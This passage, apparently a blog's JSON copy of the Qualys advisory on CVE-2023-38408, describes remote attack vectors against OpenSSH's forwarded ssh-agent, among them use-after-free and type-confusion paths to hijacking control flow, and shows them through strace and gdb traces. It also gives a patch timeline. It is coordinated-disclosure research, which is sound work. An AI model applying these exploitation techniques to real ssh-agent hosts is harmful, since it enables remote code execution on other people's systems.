*%r15<\/p>\n<p>========================================================================<br \/>\nReturn from syscall use-after-free<br \/>\n========================================================================<\/p>\n<p>While analyzing the strace logs of the dlopen() and dlclose() of every<br \/>\nshared library in \/usr\/lib*, we spotted an unusual SIGSEGV:<\/p>\n<p>&#8211; a shared library is loaded, and its constructor function starts a<br \/>\nthread that sleeps for 10 seconds in kernel-land:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n3631347 openat(AT_FDCWD, &#8220;\/usr\/lib\/x86_64-linux-gnu\/cmpi\/libcmpiOSBase_ProcessorProvider.so&#8221;, O_RDONLY|O_CLOEXEC) = 3<br \/>\n&#8230;<br \/>\n3631347 mmap(NULL, 33296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5f3c3fb000<br \/>\n3631347 mmap(0x7f5f3c3fd000, 12288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5f3c3fd000<br \/>\n3631347 mmap(0x7f5f3c400000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000) = 0x7f5f3c400000<br \/>\n3631347 mmap(0x7f5f3c402000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f5f3c402000<br \/>\n3631347 close(3) = 0<br \/>\n&#8230;<br \/>\n3631347 clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f5f3bd70910, parent_tid=0x7f5f3bd70910, exit_signal=0, stack=0x7f5f3b570000, stack_size=0x7fff00, tls=0x7f5f3bd70640} =&gt; {parent_tid=[3631372]}, 88) = 3631372<br \/>\n&#8230;<br \/>\n3631372 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0}, &lt;unfinished &#8230;&gt;<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>&#8211; meanwhile, the main thread (ssh-pkcs11-helper) unloads this shared<br \/>\nlibrary (because it is not an actual PKCS#11 provider) and therefore<br \/>\nmunmap()s the code where the sleeping thread should return to after<br \/>\nits sleep in kernel-land:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n3631347 socket(AF_UNIX, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3<br \/>\n3631347 connect(3, {sa_family=AF_UNIX, sun_path=&#8221;\/dev\/log&#8221;}, 110) = 0<br \/>\n3631347 sendto(3, &#8220;&lt;35&gt;Jun 22 18:35:25 ssh-pkcs11-helper[3631347]: error: dlsym(C_GetFunctionList) failed: \/usr\/lib\/x86_64-linux-gnu\/cmpi\/libcmpiOSBase_ProcessorProvider.so: undefined symbol: C_GetFunctionList&#8221;, 190, MSG_NOSIGNAL, NULL, 0) = 190<br \/>\n3631347 close(3) = 0<br \/>\n3631347 munmap(0x7f5f3c3fb000, 33296) = 0<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>&#8211; the sleeping thread returns from kernel-land and crashes with a<br \/>\nSIGSEGV because its userland code (at 0x7f5f3c3fecff) was unmapped:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n3631372 &lt;&#8230; clock_nanosleep resumed&gt;0x7f5f3bd6fde0) = 0<br \/>\n3631372 &#8212; SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f5f3c3fecff} &#8212;<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Of course, we can request ssh-pkcs11-helper to load (mmap()) a<br \/>\n&#8220;nodelete&#8221; library before the sleeping thread returns from kernel-land,<br \/>\nthus replacing the unmapped userland code with another piece of code (a<br \/>\nhopefully useful gadget). In the following example, the sleeping thread<br \/>\nreturns from kernel-land after line 214, executes the replacement code<br \/>\n(gadget) at line 256, and jumps to the stack at line 1305:<\/p>\n<p>Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3631531<br \/>\n&#8230;<br \/>\n(gdb) record btrace<br \/>\n(gdb) continue<br \/>\nContinuing.<br \/>\n&#8230;<br \/>\nThread 2 &#8220;ssh-pkcs11-help&#8221; received signal SIGSEGV, Segmentation fault.<br \/>\n[Switching to Thread 0x7f4603960640 (LWP 3631561)]\n0x00007ffe2196f180 in ?? ()<\/p>\n<p>(gdb) !grep stack \/proc\/3631531\/maps<br \/>\n7ffe21955000-7ffe21976000 rw-p 00000000 00:00 0 [stack]\n<p>(gdb) set record instruction-history-size unlimited<br \/>\n(gdb) record instruction-history<br \/>\n&#8230;<br \/>\n214 0x00007f4604b71866 &lt;__GI___clock_nanosleep+198&gt;: syscall<br \/>\n&#8230;<br \/>\n240 0x00007f4604b71831 &lt;__GI___clock_nanosleep+145&gt;: ret<br \/>\n&#8230;<br \/>\n244 0x00007f4604b766ef &lt;__GI___nanosleep+31&gt;: ret<br \/>\n&#8230;<br \/>\n255 0x00007f4604b7663d &lt;__sleep+93&gt;: ret<\/p>\n<p>256 0x00007f46050fecff: jmp 0x7f4604662e54 &lt;__ieee754_j1f128+2276&gt;<br \/>\n257 0x00007f4604662e54 &lt;__ieee754_j1f128+2276&gt;: movq 0x60(%rsp),%mm3<br \/>\n&#8230;<br \/>\n1304 0x00007f460466285b &lt;__ieee754_j1f128+747&gt;: add $0xc8,%rsp<br \/>\n1305 0x00007f4604662862 &lt;__ieee754_j1f128+754&gt;: ret<\/p>\n<p>========================================================================<br \/>\nSigaltstack use-after-free<br \/>\n========================================================================<\/p>\n<p>&gt;From time to time, we noticed the following warning in the dmesg of our<br \/>\nfuzzing laptop:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n[585902.691238] signal: ssh-pkcs11-help[1663008] overflowed sigaltstack<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>On investigation, we discovered that at least one shared library<br \/>\n(libgnatcoll_postgres.so) calls sigaltstack() to register an alternate<br \/>\nsignal stack (used by SA_ONSTACK signal handlers) when dlopen()ed, and<br \/>\nthen munmap()s this signal stack without deregistering it (SS_DISABLE)<br \/>\nwhen dlclose()d. Consequently, we implemented and tested a different<br \/>\nattack idea:<\/p>\n<p>&#8211; we randomly load zero or more shared libraries that permanently alter<br \/>\nthe mmap layout;<\/p>\n<p>&#8211; we load libgnatcoll_postgres.so, which registers an alternate signal<br \/>\nstack and then munmap()s it without deregistering it;<\/p>\n<p>&#8211; we randomly load zero or more shared libraries that alter the mmap<br \/>\nlayout (again), and hopefully replace the unmapped signal stack with<br \/>\nanother writable memory mapping (for example, a thread stack, or a<br \/>\n.data or .bss segment);<\/p>\n<p>&#8211; we randomly load one shared library that registers an SA_ONSTACK<br \/>\nsignal handler but does not munmap() its code when dlclose()d (unlike<br \/>\nour original &#8220;Signal handler use-after-free&#8221; attack);<\/p>\n<p>&#8211; we randomly load one shared library that raises this signal and<br \/>\ntherefore calls the SA_ONSTACK signal handler, thus overwriting the<br \/>\nreplacement memory mapping with stack frames from the signal handler;<\/p>\n<p>&#8211; we randomly load one or more shared libraries that hopefully use the<br \/>\noverwritten contents of the replacement memory mapping.<\/p>\n<p>Although we successfully found various combinations of shared libraries<br \/>\nthat overwrite a .data or .bss segment with a stack frame from a signal<br \/>\nhandler, we failed to overwrite a useful memory mapping with useful data<br \/>\n(e.g., we failed to magically jump to the stack); for this attack to<br \/>\nwork, more research and a finer-grained approach might be required.<\/p>\n<p>========================================================================<br \/>\nSigreturn to arbitrary instruction pointer<br \/>\n========================================================================<\/p>\n<p>Astonishingly, numerous combinations of shared libraries crash because<br \/>\nthey try to execute code at 0xcccccccccccccccc: a direct control of the<br \/>\ninstruction pointer (RIP), because these 0xcc bytes come from the stack<br \/>\nbuffer of ssh-pkcs11-helper that we (remote attackers) filled with 0xcc<br \/>\nbytes.<\/p>\n<p>Initially, we got very excited by this new attack vector, because we<br \/>\nthought that a gadget of the form &#8220;add rsp, N; ret&#8221; was executed, thus<br \/>\nmoving the stack pointer (RSP) into our 0xcc-filled stack buffer and<br \/>\npopping RIP from there. Unfortunately, the reality is more complex:<\/p>\n<p>&#8211; a shared library raises a signal (a SIGSEGV in the example below, at<br \/>\nline 134110) and, in consequence of a &#8220;Signal handler use-after-free&#8221;,<br \/>\na replacement gadget of the form &#8220;ret N&#8221; is executed instead of the<br \/>\nsignal handler (at line 134111);<\/p>\n<p>&#8211; exactly as the real signal handler would, the replacement gadget<br \/>\nreturns to the glibc&#8217;s restore_rt() function (at line 134112), which<br \/>\nin turn calls the kernel&#8217;s rt_sigreturn() function (at line 134113);<\/p>\n<p>&#8211; however, before the kernel&#8217;s rt_sigreturn() function is called, the<br \/>\nreplacement gadget &#8220;ret N&#8221; moves RSP into our 0xcc-filled stack buffer<br \/>\nand as a result, the kernel&#8217;s rt_sigreturn() function restores all<br \/>\nuserland registers (including RIP and RSP) from there;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nAttaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3633914<br \/>\n&#8230;<br \/>\n(gdb) record btrace<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x00007fcd468671b1 in xtables_register_target () from \/lib\/x86_64-linux-gnu\/libxtables.so.12<\/p>\n<p>(gdb) x\/i 0x00007fcd468671b1<br \/>\n=&gt; 0x7fcd468671b1 &lt;xtables_register_target+209&gt;: movzbl 0x18(%rax),%eax<\/p>\n<p>(gdb) info registers<br \/>\nrax 0x0 0<br \/>\n&#8230;<\/p>\n<p>(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0xcccccccccccccccc in ?? ()<\/p>\n<p>(gdb) set record instruction-history-size 100<br \/>\n(gdb) record instruction-history<br \/>\n&#8230;<br \/>\n134106 0x00007fcd4686719e &lt;xtables_register_target+190&gt;: mov 0x6e1b(%rip),%rax # 0x7fcd4686dfc0<br \/>\n134107 0x00007fcd468671a5 &lt;xtables_register_target+197&gt;: movzwl 0x22(%rbx),%edx<br \/>\n134108 0x00007fcd468671a9 &lt;xtables_register_target+201&gt;: mov (%rax),%rax<br \/>\n134109 0x00007fcd468671ac &lt;xtables_register_target+204&gt;: mov %dx,0x6(%rsp)<br \/>\n134110 [disabled]\n134111 0x00007fcd48e434a0: ret $0x1f0f<br \/>\n134112 0x00007fcd49655520 &lt;__restore_rt+0&gt;: mov $0xf,%rax<br \/>\n134113 0x00007fcd49655527 &lt;__restore_rt+7&gt;: syscall<\/p>\n<p>(gdb) info registers<br \/>\nrax 0x0 0<br \/>\nrbx 0xcccccccccccccccc -3689348814741910324<br \/>\nrcx 0xcccccccccccccccc -3689348814741910324<br \/>\nrdx 0xcccccccccccccccc -3689348814741910324<br \/>\nrsi 0xcccccccccccccccc -3689348814741910324<br \/>\nrdi 0xcccccccccccccccc -3689348814741910324<br \/>\nrbp 0xcccccccccccccccc 0xcccccccccccccccc<br \/>\nrsp 0xcccccccccccccccc 0xcccccccccccccccc<br \/>\nr8 0xcccccccccccccccc -3689348814741910324<br \/>\nr9 0xcccccccccccccccc -3689348814741910324<br \/>\nr10 0xcccccccccccccccc -3689348814741910324<br \/>\nr11 0xcccccccccccccccc -3689348814741910324<br \/>\nr12 0xcccccccccccccccc -3689348814741910324<br \/>\nr13 0xcccccccccccccccc -3689348814741910324<br \/>\nr14 0xcccccccccccccccc -3689348814741910324<br \/>\nr15 0xcccccccccccccccc -3689348814741910324<br \/>\nrip 0xcccccccccccccccc 0xcccccccccccccccc<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Although we directly control all of the userland registers, we failed to<br \/>\ntransform this attack vector into a one-shot remote exploit, because RSP<br \/>\n(which was conveniently pointing into our 0xcc-filled stack buffer) gets<br \/>\noverwritten, and because we were unable to leak any information from<br \/>\nssh-pkcs11-helper (to defeat ASLR).<\/p>\n<p>Partially overwriting a pointer that is left over in ssh-pkcs11-helper&#8217;s<br \/>\nstack buffer, and that is later used by rt_sigreturn() to restore a<br \/>\nuserland register, might be an interesting idea that we have not<br \/>\nexplored yet.<\/p>\n<p>========================================================================<br \/>\n_Unwind_Context type-confusion<br \/>\n========================================================================<\/p>\n<p>This attack vector was the most puzzling of our discoveries: from time<br \/>\nto time, some combinations of shared libraries jumped to the stack, but<br \/>\nevidently not as a result of a signal handler, callback function, or<br \/>\nreturn from syscall use-after-free. Eventually, we determined the<br \/>\nsequence of events that led to these stack jumps:<\/p>\n<p>&#8211; some shared libraries load LLVM&#8217;s libunwind.so as a &#8220;nodelete&#8221; library<br \/>\n(i.e., it is never unloaded, even after dlclose());<\/p>\n<p>&#8211; some shared libraries throw a C++ exception, which loads GCC&#8217;s<br \/>\nlibgcc_s.so and calls the _Unwind_GetCFA() function (at line 57295 in<br \/>\nthe example below);<\/p>\n<p>&#8211; however, GCC&#8217;s libgcc_s.so mistakenly calls LLVM&#8217;s _Unwind_GetCFA()<br \/>\n(at line 57298) instead of GCC&#8217;s _Unwind_GetCFA() (because LLVM&#8217;s<br \/>\nlibunwind.so was loaded first), and passes a pointer to GCC&#8217;s struct<br \/>\n_Unwind_Context to this function (instead of a pointer to LLVM&#8217;s<br \/>\nstruct _Unwind_Context, which is a different type of structure);<\/p>\n<p>&#8211; LLVM&#8217;s _Unwind_GetCFA() then calls its unw_get_reg() function (at line<br \/>\n57303), which in turn calls a function pointer (at line 57311) that is<br \/>\na member of LLVM&#8217;s struct _Unwind_Context, but that happens to be a<br \/>\nstack pointer in GCC&#8217;s struct _Unwind_Context;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nAttaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3635541<br \/>\n&#8230;<br \/>\n(gdb) record btrace<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x00007ffcf5e9be10 in ?? ()<\/p>\n<p>(gdb) !grep stack \/proc\/3635541\/maps<br \/>\n7ffcf5e82000-7ffcf5ea3000 rw-p 00000000 00:00 0 [stack]\n<p>(gdb) set record instruction-history-size 100<br \/>\n(gdb) record instruction-history<br \/>\n&#8230;<br \/>\n57295 0x00007f7c8eaaccf1: call 0x7f7c8ea99470 &lt;_Unwind_GetCFA@plt&gt;<\/p>\n<p>57296 0x00007f7c8ea99470 &lt;_Unwind_GetCFA@plt+0&gt;: endbr64<br \/>\n57297 0x00007f7c8ea99474 &lt;_Unwind_GetCFA@plt+4&gt;: bnd jmp *0x1bc2d(%rip) # 0x7f7c8eab50a8 &lt;_Unwind_GetCFA@got.plt&gt;<\/p>\n<p>57298 0x00007f7c8edce920 &lt;_Unwind_GetCFA+0&gt;: sub $0x18,%rsp<br \/>\n57299 0x00007f7c8edce924 &lt;_Unwind_GetCFA+4&gt;: mov %fs:0x28,%rax<br \/>\n57300 0x00007f7c8edce92d &lt;_Unwind_GetCFA+13&gt;: mov %rax,0x10(%rsp)<br \/>\n57301 0x00007f7c8edce932 &lt;_Unwind_GetCFA+18&gt;: lea 0x8(%rsp),%rdx<br \/>\n57302 0x00007f7c8edce937 &lt;_Unwind_GetCFA+23&gt;: mov $0xfffffffe,%esi<br \/>\n57303 0x00007f7c8edce93c &lt;_Unwind_GetCFA+28&gt;: call 0x7f7c8edca6b0 &lt;unw_get_reg&gt;<\/p>\n<p>57304 0x00007f7c8edca6b0 &lt;unw_get_reg+0&gt;: push %rbp<br \/>\n57305 0x00007f7c8edca6b1 &lt;unw_get_reg+1&gt;: push %r14<br \/>\n57306 0x00007f7c8edca6b3 &lt;unw_get_reg+3&gt;: push %rbx<br \/>\n57307 0x00007f7c8edca6b4 &lt;unw_get_reg+4&gt;: mov %rdx,%r14<br \/>\n57308 0x00007f7c8edca6b7 &lt;unw_get_reg+7&gt;: mov %esi,%ebp<br \/>\n57309 0x00007f7c8edca6b9 &lt;unw_get_reg+9&gt;: mov %rdi,%rbx<br \/>\n57310 0x00007f7c8edca6bc &lt;unw_get_reg+12&gt;: mov (%rdi),%rax<br \/>\n57311 0x00007f7c8edca6bf &lt;unw_get_reg+15&gt;: call *0x10(%rax)<\/p>\n<p>(gdb) !grep 7f7c8ea \/proc\/3635541\/maps<br \/>\n7f7c8ea99000-7f7c8eab0000 r-xp 00003000 08:03 8788336 \/usr\/lib\/x86_64-linux-gnu\/libgcc_s.so.1<\/p>\n<p>(gdb) !grep 7f7c8ed \/proc\/3635541\/maps<br \/>\n7f7c8edc9000-7f7c8edd1000 r-xp 00000000 08:03 11148811 \/usr\/lib\/llvm-14\/lib\/libunwind.so.1.0<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>========================================================================<br \/>\nRCE in library constructor<br \/>\n========================================================================<\/p>\n<p>As a last and extreme example of a remote attack against ssh-agent<br \/>\nforwarding, we noticed that one shared library&#8217;s constructor function<br \/>\n(which can be invoked by a remote attacker via an ssh-agent forwarding)<br \/>\nstarts a server thread that listens on a TCP port, and we discovered a<br \/>\nremotely exploitable vulnerability (a heap-based buffer overflow) in<br \/>\nthis server&#8217;s implementation.<\/p>\n<p>The unusual malloc exploitation technique that we used to remotely<br \/>\nexploit this vulnerability is so interesting (it is reliable, one-shot,<br \/>\nand works against the latest glibc versions, despite all the modern<br \/>\nprotections) that we decided to publish it in a separate advisory:<\/p>\n<p>https:\/\/www.qualys.com\/2023\/06\/06\/renderdoc\/renderdoc.txt<\/p>\n<p>This last and extreme attack vector against ssh-agent also underlines<br \/>\nthe central point of this advisory: many shared libraries are simply not<br \/>\nsafe to be loaded (and unloaded) in a security-sensitive program such as<br \/>\nssh-agent.<\/p>\n<p>========================================================================<br \/>\nDiscussion<br \/>\n========================================================================<\/p>\n<p>We believe that we have not exploited the full potential of this<br \/>\n&#8220;dlopen() then dlclose()&#8221; primitive:<\/p>\n<p>&#8211; we have only investigated Ubuntu Desktop 22.04 and 21.10, but other<br \/>\nversions, distributions, or operating systems might be hiding further<br \/>\nsurprises;<\/p>\n<p>&#8211; our rudimentary fuzzer can certainly be greatly improved, and has<br \/>\ndefinitely not tried all the combinations of shared libraries and side<br \/>\neffects;<\/p>\n<p>&#8211; we have identified seven attack vectors against ssh-agent (described<br \/>\nin the &#8220;Results&#8221; section), but we have not analyzed in detail all the<br \/>\nresults of our fuzzer;<\/p>\n<p>&#8211; we have not fully explored various aspects of these attack vectors:<\/p>\n<p>&#8211; it might be possible to reliably exploit the &#8220;Sigaltstack<br \/>\nuse-after-free&#8221; (by carefully overwriting the .data or .bss segment<br \/>\nof a shared library) or the &#8220;Sigreturn to arbitrary instruction<br \/>\npointer&#8221; (by partially overwriting a leftover pointer in<br \/>\nssh-pkcs11-helper&#8217;s stack);<\/p>\n<p>&#8211; we currently store our shellcode in ssh-pkcs11-helper&#8217;s main() stack<br \/>\nbuffer only, but it might be possible to store shellcode in other<br \/>\nstack buffers as well, or somehow spray the stack with shellcode,<br \/>\nwhich would dramatically increase our chances of jumping into our<br \/>\nshellcode;<\/p>\n<p>for example, we tried to spray the stack with shellcode by<br \/>\ninterrupting a memcpy() of controlled data with a signal handler,<br \/>\nthereby spilling controlled YMM registers to the stack (inspired by<br \/>\nhttps:\/\/bugs.chromium.org\/p\/project-zero\/issues\/detail?id=2266), but<br \/>\nwe failed because we can memcpy() only ~10KB of data, and because we<br \/>\ncannot remotely use tricks such as inotify or sched*() to precisely<br \/>\ntime this race;<\/p>\n<p>&#8211; it might be possible to control the mmap layout of ssh-pkcs11-helper<br \/>\nwith page precision (which would allow us to precisely control the<br \/>\ngadget that replaces the unmapped signal handler, callback function,<br \/>\nor return from syscall), but we failed to find large malloc()ations<br \/>\n(which are mmap()ed) in ssh-pkcs11-helper (the only way we found to<br \/>\ninfluence the mmap layout is to load and unload shared libraries, as<br \/>\nmentioned in Step 4a\/ of the &#8220;Experiments&#8221; section);<\/p>\n<p>&#8211; instead of replacing the unmapped signal handler or callback<br \/>\nfunction (or return from syscall) with a gadget from another shared<br \/>\nlibrary, it is perfectly possible to replace it with an executable<br \/>\nthread stack (made executable by loading an &#8220;execstack&#8221; library),<br \/>\nbut we have failed so far to control the contents of such a thread<br \/>\nstack.<\/p>\n<p>========================================================================<br \/>\nAcknowledgments<br \/>\n========================================================================<\/p>\n<p>We thank the OpenSSH developers, and Damien Miller in particular, for<br \/>\ntheir outstanding work on this vulnerability and on OpenSSH in general.<br \/>\nWe also thank Mitre&#8217;s CVE Assignment Team for their quick response.<br \/>\nFinally, we dedicate this advisory to the Midnight Fox.<\/p>\n<p>========================================================================<br \/>\nTimeline<br \/>\n========================================================================<\/p>\n<p>2023-07-06: We sent a draft of our advisory and a preliminary patch to<br \/>\nthe OpenSSH developers.<\/p>\n<p>2023-07-07: The OpenSSH developers replied and sent us a more complete<br \/>\nset of patches.<\/p>\n<p>2023-07-09: We sent feedback about these patches to the OpenSSH<br \/>\ndevelopers.<\/p>\n<p>2023-07-11: The OpenSSH developers sent us a complete set of patches,<br \/>\nand we sent them feedback about these patches.<\/p>\n<p>2023-07-14: The OpenSSH developers informed us that &#8220;we&#8217;re aiming to<br \/>\nmake a security-only release &#8230; on July 19th.&#8221;<\/p>\n<p>2023-07-19: Coordinated release.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Qualys Security Advisory CVE-2023-38408: Remote Code Execution in OpenSSH&#8217;s forwarded ssh-agent ======================================================================== Contents ======================================================================== Summary Background Experiments Results Discussion Acknowledgments Timeline ======================================================================== Summary ======================================================================== &#8220;ssh-agent is a program to hold private keys used for public key authentication. Through use of environment variables the agent can be located and automatically used for authentication when logging in &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45360","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45360"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45360\/revisions"}],"predecessor-version":[{"id":45469,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45360\/revisions\/45469"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}